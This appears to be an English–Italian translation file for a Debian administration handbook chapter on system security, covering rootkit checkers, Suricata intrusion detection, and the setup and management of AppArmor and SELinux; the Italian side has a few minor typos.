it-IT: Il primo di questi pacchetti contiene numerosi script brevi che eseguono controlli di base sul sistema (password vuote, nuovi file con setuid e così via) e avvertono l'amministratore se necessario. Nonostante il suo nome esplicito, un amministratore non dovrebbe affidarsi solamente ad esso per garantire la sicurezza di un sistema Linux.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
it-IT: I pacchetti <emphasis role="pkg">chkrootkit</emphasis> e <emphasis role="pkg">rkhunter</emphasis> permettono di cercare <emphasis>rootkit</emphasis> potenzialmente installati nel sistema. Come promemoria, un rootkit è una parte di software progettata per nascondere il fatto che il sistema è compromesso mentre mantiene in modo discreto il controllo sulla macchina. I test non sono affidabili al 100%, ma solitamente riescono ad attirare l'attenzione dell'amministratore su potenziali problemi.

en: Detecting Intrusion (IDS/NIDS)
it-IT: Rilevare intrusioni (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
it-IT: <emphasis>FONDAMENTALI</emphasis> «Denial of service»

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
it-IT: Un attacco «denial of service» ha un solo scopo: bloccare la disponibilità di un servizio. Che un attacco di questo tipo implichi il sovraccarico del server tramite interrogazioni o lo sfruttamento di un bug, il risultato finale è il medesimo: il servizio non è più fruibile. Gli utenti ordinari sono scontenti, e il soggetto che ospita il servizio di rete preso di mira subisce una perdita di reputazione (e probabilmente di ricavi, per esempio se il servizio è un sito di e-commerce).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
it-IT: Un attacco di questo tipo si presenta talvolta "distribuito"; di solito si causa un sovraccarico del server attraverso una grande quantità di interrogazioni provenienti da numerose sorgenti distinte portando all'incapacità di rispondere alle interrogazioni legittime. A queste tipologie di attacchi sono stati associati acronimi ben conosciuti: <acronym>DDoS</acronym> e <acronym>DoS</acronym> (a seconda che il denial of service sia distribuito o meno).

en: <emphasis>CAUTION</emphasis> Range of action
it-IT: <emphasis>ATTENZIONE</emphasis> Raggio d'azione

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
it-IT: L'efficacia di <command>suricata</command> è limitata al traffico che transita sull'interfaccia di rete monitorata. Ovviamente non sarà in grado di rilevare alcunché se non può osservare il traffico reale. Quando è collegato ad uno switch di rete, rileverà quindi solo gli attacchi alla macchina nella quale è in esecuzione, cosa che probabilmente non è ciò che si desidera. La macchina che ospita <command>suricata</command> dovrà perciò essere connessa ad una porta "mirror" dello switch, che è solitamente riservata a collegare altri switch e quindi rileva il traffico complessivo.

en: To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role="pkg">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it.
it-IT: Per rilevare un comportamento malevolo, <command>suricata</command> ha bisogno di un insieme di regole di monitoraggio: è possibile trovare le regole nel pacchetto <emphasis role="pkg">snort-rules-default</emphasis>. <command>snort</command> è il riferimento storico nell'ecosistema IDS e <command>suricata</command> è in grado di riutilizzare le regole scritte per esso.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
it-IT: <emphasis>APPROFONDIMENTI</emphasis> Integrazione con <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
it-IT: Prelude permette il monitoraggio centralizzato delle informazioni di sicurezza. La sua architetture modulare fornisce un server (il <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) che raccoglie gli allarmi generati da <emphasis>sensori</emphasis> di varie tipologie.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
it-IT: Suricata può essere configurato come un sensore. Altre possibilità includono <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) che controlla i file di log (in maniera del tutto simile a <command>logcheck</command>, descritto in <xref linkend="sect.logcheck" />).

en: Introduction to AppArmor
it-IT: Introduzione a AppArmor

en: Principles
it-IT: Princìpi

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
it-IT: AppArmor è un sistema di <emphasis>Mandatory Access Control (Controllo Accesso Obbligatorio)</emphasis> costruito sull'interfaccia LSM (<emphasis>Linux Security Modules</emphasis>) di Linux. In pratica, il kernel interroga AppArmor prima di ogni chiamata di sistema per sapere se il processo è autorizzato ad eseguire una data operazione. Attraverso questo meccanismo, AppArmor confina programmi ad una serie limitata di risorse.

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
it-IT: I profili AppArmor sono memorizzati in <filename>/etc/apparmor.d/</filename> e contengono un elenco delle regole di controllo d'accesso alle risorse che ogni programma può utilizzare. I profili sono compilati e caricati nel kernel dal comando <command>apparmor_parser</command>. Ogni profilo può essere caricato sia in esecuzione sia in complaining mode. La prima fa rispettare la policy e registra i tentativi di violazione, mentre la seconda non applica la policy ma registra sempre le chiamate di sistema che sarebbero state negate.

en: Enabling AppArmor and managing AppArmor profiles
it-IT: Abilitazione di AppArmor e gestione dei profili di AppArmor

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
it-IT: Il supporto ad AppArmor è integrato nei kernel standard forniti da Debian. L'abilitazione di AppArmor è quindi solo una questione di installazione, con privilegi root, di alcuni pacchetti eseguendo <command>apt install apparmor apparmor-profiles apparmor-utils</command>.

en: <emphasis>NOTE</emphasis> More AppArmor profiles
it-IT: <emphasis>NOTA</emphasis> Altri profili AppArmor

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
it-IT: Il pacchetto <emphasis role="pkg">apparmor-profiles</emphasis> contiene i profili gestiti a monte dalla comunità AppArmor. Per ottenere ancora più profili è possibile installare <emphasis role="pkg">apparmor-profiles-extra</emphasis> che contiene i profili sviluppati da Ubuntu e Debian.

en: Creating a new profile
it-IT: Creare un nuovo profilo

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
it-IT: Anche se la creazione di un profilo di AppArmor è piuttosto facile, la maggior parte dei programmi non ne hanno uno. In questa sezione verròà mostrato come creare un nuovo profilo da zero solo utilizzando il programma di destinazione e lasciando che AppArmor monitori le chiamate che il sistema fa e le risorse a cui accede.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
it-IT: I programmi più importanti che devono essere monitorati sono i programmi che si affacciano sulla rete che come tali sono i più probabili obiettivi di aggressori remoti. Per questo AppArmor fornisce il comodo comando <command>aa-unconfined</command> per elencare i programmi che non hanno un profilo associato che sono esposti ad un socket di rete aperto. Con l'opzione <literal>--paranoid</literal> si ottengono tutti i processi non confinati che hanno una connessione di rete attiva.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
it-IT: Il primo evento rilevato è l'esecuzione di un altro programma. In tal caso, si dispone di più opzioni: è possibile eseguire il programma con il profilo del processo padre (la scelta “Inherit”), è possibile eseguirlo con il proprio profilo dedicato (le scelte "Profile" e "Named", differiscono solo per la possibilità di utilizzare un nome di profilo arbitrario), è possibile eseguirlo con un sub-profilo del processo padre (la scelta "Child"), è possibile eseguirlo senza alcun profilo (la scelta "Unconfined") o si può decidere di non farlo eseguire a nessuno (la scelta "Deny").

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
it-IT: Si noti che quando si sceglie di eseguire il programma sotto un profilo dedicato che non esiste ancora, lo strumento creerà il profilo mancante per voi ed allo stesso tempo proporrà delle regole per tale profilo.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
it-IT: A livello di kernel, i poteri speciali dell'utente root vengono suddivisi in "capacità". Quando una chiamata di sistema richiede una capacità specifica, AppArmor verificherà se il profilo permette al programma di fare uso di questa capacità.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
it-IT: Dopo aver percorso tutti gli eventi registrati, il programma propone di salvare tutti i profili che sono stati creati durante l'esecuzione. In questo caso, abbiamo due profili che sono salvati in una volta con "Salva" (ma si possono salvare anche singolarmente) prima di lasciare il programma con "Fine".

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
it-IT: <command>aa-genprof</command> è in realtà solo un modulo intelligente intorno a <command>aa-logprof</command>: esso crea un profilo vuoto, lo carica in modalità compain ed esegue <command>aa-logprof</command> che è uno strumento per aggiornare il profilo in base alle violazioni del profilo che sono state registrate. Così in seguito si può eseguire nuovamente questo strumento per migliorare il profilo appena creato.

en: Introduction to SELinux
it-IT: Introduzione a SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
it-IT: SELinux (<emphasis>Security Enhanced Linux</emphasis>) è un sistema di <emphasis>controllo degli accessi obbligatorio</emphasis> costruito sull'interfaccia LSM (<emphasis>Linux Security Modules</emphasis>) di Linux. In pratica, il kernel interroga SELinux prima di ogni chiamata di sistema per sapere se il processo è autorizzato ad eseguire una data operazione.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
it-IT: SELinux sfrutta una serie di regole, note comunemente come <emphasis>politiche (policy)</emphasis>, per autorizzare o vietare operazioni. Queste regole sono difficili da creare. Fortunatamente vengono fornite due politiche standard (<emphasis>targeted</emphasis> e <emphasis>strict</emphasis>) per evitare il grosso del lavoro di configurazione.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
it-IT: Con SELinux, la gestione dei diritti è completamente diversa dai sistemi Unix tradizionali. I diritti di un processo dipendono dal proprio <emphasis>contesto di sicurezza</emphasis>. Il contesto è definito dall'<emphasis>identità</emphasis> dell'utente che ha avviato il processo, il <emphasis>ruolo</emphasis> e il <emphasis>dominio</emphasis> che l'utente presentava in quel momento. I diritti in realtà dipendono dal dominio, ma le transizioni attraverso i domini sono controllate dai ruoli. Infine, le possibili transizioni tra i ruoli dipendono dall'identità.

en: Security contexts and Unix users
it-IT: Contesti di sicurezza e utenti Unix

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
it-IT: Ovviamente i diritti non si applicano a tutti i <emphasis>soggetti</emphasis> (file, directory, socket, dispositivi, ecc.). Possono variare da oggetto a oggetto. Per applicare i diritti, ad ogni oggetto viene associato un <emphasis>tipo</emphasis> (questo processo è conosciuto come etichettatura). I diritti del dominio allora si esprimono come insiemi di operazioni permesse(vietate) su quei tipi (e, indirettamente, su tutti gli oggetti etichettati con quel tipo).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
it-IT: <emphasis>EXTRA</emphasis> Domini e tipi sono equivalenti

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
it-IT: Per impostazione predefinita, un programma eredita il relativo dominio dall'utente che lo ha eseguito, ma la politica standard di SELinux si aspetta che i programmi più importanti vengano eseguiti in domini dedicati. Per ottenere ciò, questi eseguibili sono etichettati con un tipo univoco (per esempio <command>ssh</command> è etichettato come <literal>ssh_exec_t</literal>, e quando il programma parte, automaticamente passa al dominio <literal>ssh_t</literal>). Questo meccanismo automatico di transizione di dominio permette di concedere esclusivamente i diritti richiesti da ciascun programma. Si tratta di un principio fondamentale di SELinux.

en: Automatic transitions between domains
it-IT: Transizioni automatiche attraverso domini

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
it-IT: <emphasis>IN PRATICA</emphasis> Recuperare il contesto di sicurezza

en: <primary>context, security context</primary>
it-IT: <primary>contesto, contesto di sicurezza</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
it-IT: Per recuperare il contesto di sicurezza corrente in un terminale, eseguire <command>id -Z</command>.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
it-IT: Per recuperare il contesto di sicurezza di un dato processo, si usa l'opzione <literal>Z</literal> di <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
it-IT: Il primo campo riporta identità, ruolo, dominio e livello MCS, separati da due punti. Il livello MCS (<emphasis>Multi-Category Security</emphasis>) è un parametro che interviene nella configurazione della politica di protezione della riservatezza, che regola l'accesso ai file basato sulla relativa sensibilità. Questa caratteristica non verrà trattata in questo libro.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
it-IT: Infine, per recuperare il tipo assegnato ad un file, usare <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
it-IT: Vale la pena notare che identità e ruolo assegnati a un file non hanno alcuna particolare importanza (non vengono mai utilizzati), ma per ragioni di uniformità, ad ogni oggetto viene assegnato un contesto di sicurezza completo.

en: Setting Up SELinux
it-IT: Impostare SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
it-IT: Il supporto di SELinux è incluso nei kernel standard forniti da Debian. Gli strumenti di base in Unix supportano SELinux senza alcuna modifica. Abilitare SELinux quindi è relativamente semplice.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
it-IT: Il pacchetto <emphasis role="pkg">selinux-policy-default</emphasis> fornisce un insieme di regole standard. Per impostazione predefinita, questa politica limita l'accesso ad alcuni servizi fortemente esposti. Le sessioni utente non sono limitate ed è perciò improbabile che SELinux possa bloccare operazioni utente legittime. Comunque, questo aumenta la sicurezza per i servizi in esecuzione sulla macchina. Per installare un insieme di politiche equivalenti alle vecchie regole "restrittive", basta disabilitare il modulo <literal>unconfined</literal> (la gestione dei moduli è descritta in dettaglio più avanti in questa sezione).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
it-IT: Una volta che la politica è stata installata, bisogna etichettare tutti i file presenti (il che significa assegnare loro un tipo). Questa operazione dev'essere intrapresa manualmente con <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
it-IT: Il sistema SELinux a questo punto è pronto. Per abilitarlo, bisogna aggiungere il parametro <literal>selinux=1 security=selinux</literal> al kernel Linux. Il parametro <literal>audit=1</literal> abilita la registrazione dei log di SELinux che memorizzano tutte le operazioni negate/non permesse. Da ultimo, il parametro <literal>enforcing=1</literal> mette le regole in applicazione: senza di esso SELinux lavora nella modalità predefinita <emphasis>permissiva</emphasis> dove le azioni bloccate vengono raccolte nei log ma comunque eseguite. Bisogna perciò modificare il file di configurazione del bootloader GRUB per aggiungere i parametri desiderati. Un modo semplice per farlo è quello di modificare la variabile <literal>GRUB_CMDLINE_LINUX</literal> in <filename>/etc/default/grub</filename> e di lanciare <command>update-grub</command>. SELinux verrà attivato al riavvio.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
it-IT: Vale la pena notare che lo script <command>selinux-activate</command> automatizza queste operazioni e forza l'etichettatura all'avvio successivo (che evita la creazione di nuovi file non etichettati mentre SELinux non è ancora attivo e mentre l'etichettatura è in corso).

en: Managing an SELinux System
it-IT: Gestire un sistema SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
it-IT: La politica di SELinux corrisponde ad un insieme modulare di regole, e la loro installazione rileva e abilita i moduli in base ai servizi già presenti. Il sistema è così immediatamente operativo. Comunque, quando un servizio viene installato dopo l'applicazione della politica di SELinux, deve essere possibile abilitare manualmente il modulo corrispondente. Questo è lo scopo del comando <command>semodule</command>. Inoltre, dev'essere possibile definire i ruoli che ogni utente può assumere, che può essere fatto con il comando <command>semanage</command>.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
it-IT: Questi due comandi quindi vengono usati per apportare modifiche all'attuale configurazione di SELinux, che è memorizzata in <filename>/etc/selinux/default/</filename>. Diversamente da altri file di configurazione che si trovano in <filename>/etc/</filename>, tutti questi file non devono essere modificati manualmente. Si devono utilizzare i programmi dedicati a questo scopo.

en: <emphasis>GOING FURTHER</emphasis> More documentation
it-IT: <emphasis>APPROFONDIMENTI</emphasis> Documentazione ulteriore

en: Managing SELinux Modules
it-IT: Gestione dei moduli SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
it-IT: I moduli disponibili per SELinux sono situati nella directory <filename>/usr/share/selinux/default/</filename>. Per abilitare uno di questi nella configurazione corrente, si usa <command>semodule -i <replaceable>modulo.pp.bz2</replaceable></command>. L'estensione <emphasis>pp.bz2</emphasis> sta per <emphasis>policy package</emphasis>(compressa con bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
it-IT: Si può rimuovere un modulo dalla configurazione corrente con <command>semodule -r <replaceable>modulo</replaceable></command>. Infine, il comando <command>semodule -l</command> elenca i moduli che sono attualmente installati. Visualizza anche i loro numeri di versione. I moduli possono essere attivati selettivamente con <command>semodule -e</command> e disabilitai con <command>semodule -d</command>.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
it-IT: <command>semodule</command> carica immediatamente la nuova configurazione tranne nel caso si usi la sua opzione <literal>-n</literal>. Vale la pena notare che per impostazione predefinita il programma agisce sulla configurazione corrente (riportata nella variabile <literal>SELINUXTYPE</literal> in <filename>/etc/selinux/config</filename>), ma si può anche modificarne un'altra specificandola con l'opzione <literal>-s</literal>.

en: Managing Identities
it-IT: Gestione delle identità

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
it-IT: Ogni volta che un utente effettua l'accesso, assume una determinata identità SELinux. Questa identità definisce i ruoli che egli può assumere. Queste due corrispondenze (utente-identità e identità-ruoli) sono configurabili con il comando <command>semanage</command>.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
it-IT: <command>semanage login -l</command> elenca la corrispondenza in uso degli identificatori degli utenti con le identità SELinux. Gli utenti che non hanno un riferimento esplicito acquisiscono l'identità riportata nella voce <literal>__default__</literal>. Il comando <command>semanage login -a -s user_u <replaceable>utente</replaceable></command> associa l'identità <emphasis>user_u</emphasis> al dato utente. Infine, <command>semanage login -d <replaceable>utente</replaceable></command> rimuove la voce corrispondente assegnata all'utente.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
it-IT: <command>semanage user -l</command> elenca la corrispondenza delle identità degli utenti in SELinux con i ruoli assegnati. L'aggiunta di una nuova identità richiede la definizione sia dei ruoli corrispondenti sia di un prefisso di etichetta utilizzato per assegnare un tipo ai file personali (<filename>/home/<replaceable>utente</replaceable>/*</filename>). Il prefisso deve essere preso da <literal>user</literal>, <literal>staff</literal>, e <literal>sysadm</literal>. Il prefisso «<literal>staff</literal>» ha come risultato file di tipo «<literal>staff_home_dir_t</literal>». Per creare una nuova identità per l'utente in SELinux basta lanciare <command>semanage user -a -R <replaceable>ruoli</replaceable> -P <replaceable>prefisso</replaceable> <replaceable>identità</replaceable></command>. Infine, è possibile rimuovere un'identità di SELinux con <command>semanage user -d <replaceable>identity</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
it-IT: Gestire i contesti dei file, le porte e i booleani

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
it-IT: Ogni modulo SELinux fornisce un insieme di regole per l'etichettatura dei file, ma è anche possibile aggiungerne di personalizzate per far fronte a casi specifici. Per esempio, se si vuole che il server web possa leggere i file dentro la gerarchia <filename>/srv/www/</filename>, si deve lanciare <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> seguito da <command>restorecon -R /srv/www/</command>. Il primo comando registra le nuove regole sull'etichettatura e il secondo reimposta i tipi di file in base alle regole di etichettatura correnti.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
it-IT: In modo del tutto simile, le porte TCP/UDP sono etichettate in modo da assicurare che solo il rispettivo demone possa rimanere in ascolto su di esse. Per esempio, se si vuole che il server web rimanga in ascolto su porta 8080, è consigliabile seguire <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
it-IT: Adattare le regole

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
it-IT: Dato che la politica di SELinux è modulare, potrebbe essere interessante sviluppare nuovi moduli per le applicazioni (eventualmente personalizzate) che ne sono prive. Questi nuovi moduli quindi completerebbero la <emphasis>politica di riferimento</emphasis>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
it-IT: Per creare nuovi moduli, è richiesto il pacchetto <emphasis role="pkg">selinux-policy-dev</emphasis> oltre a <emphasis role="pkg">selinux-policy-doc</emphasis>. Quest'ultimo contiene la documentazione delle regole standard (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) e file di esempio che possono essere usati come modelli per creare nuovi moduli. Installiamo questi file ed esaminiamoli più da vicino:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
it-IT: Il file <filename>.te</filename> è il più importante. Definisce le regole. Il file <filename>.fc</filename> definisce i "contesti dei file", che sono i tipi assegnati ai file relativi a questo modulo. I dati all'interno del file <filename>.fc</filename> sono usati durante la fase di etichettatura dei file. Infine, il file <filename>.if</filename> definisce l'interfaccia del modulo: si tratta di una serie di "funzioni pubbliche", che altri moduli possono utilizzare per interagire correttamente con il modulo che si sta creando.

en: Writing a <filename>.fc</filename> file
it-IT: Scrivere un file <filename>.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
it-IT: Analizzare l'esempio sotto dovrebbe essere sufficiente per capire la struttura di un file di questo tipo. Si possono usare espressioni regolari per assegnare lo stesso contesto di sicurezza a file multipli, oppure anche a un intero albero di directory.

en: <filename>example.fc</filename> file
it-IT: File <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
it-IT: Scrivere un file <filename>.if</filename> benutze

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
it-IT: Nell'esempio sotto, la prima interfaccia («<literal>miaapp_domtrans</literal>») controlla chi può eseguire l'applicazione. La seconda («<literal>miaapp_lettura_log</literal>») concede i diritti di lettura sui file di log dell'applicazione.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
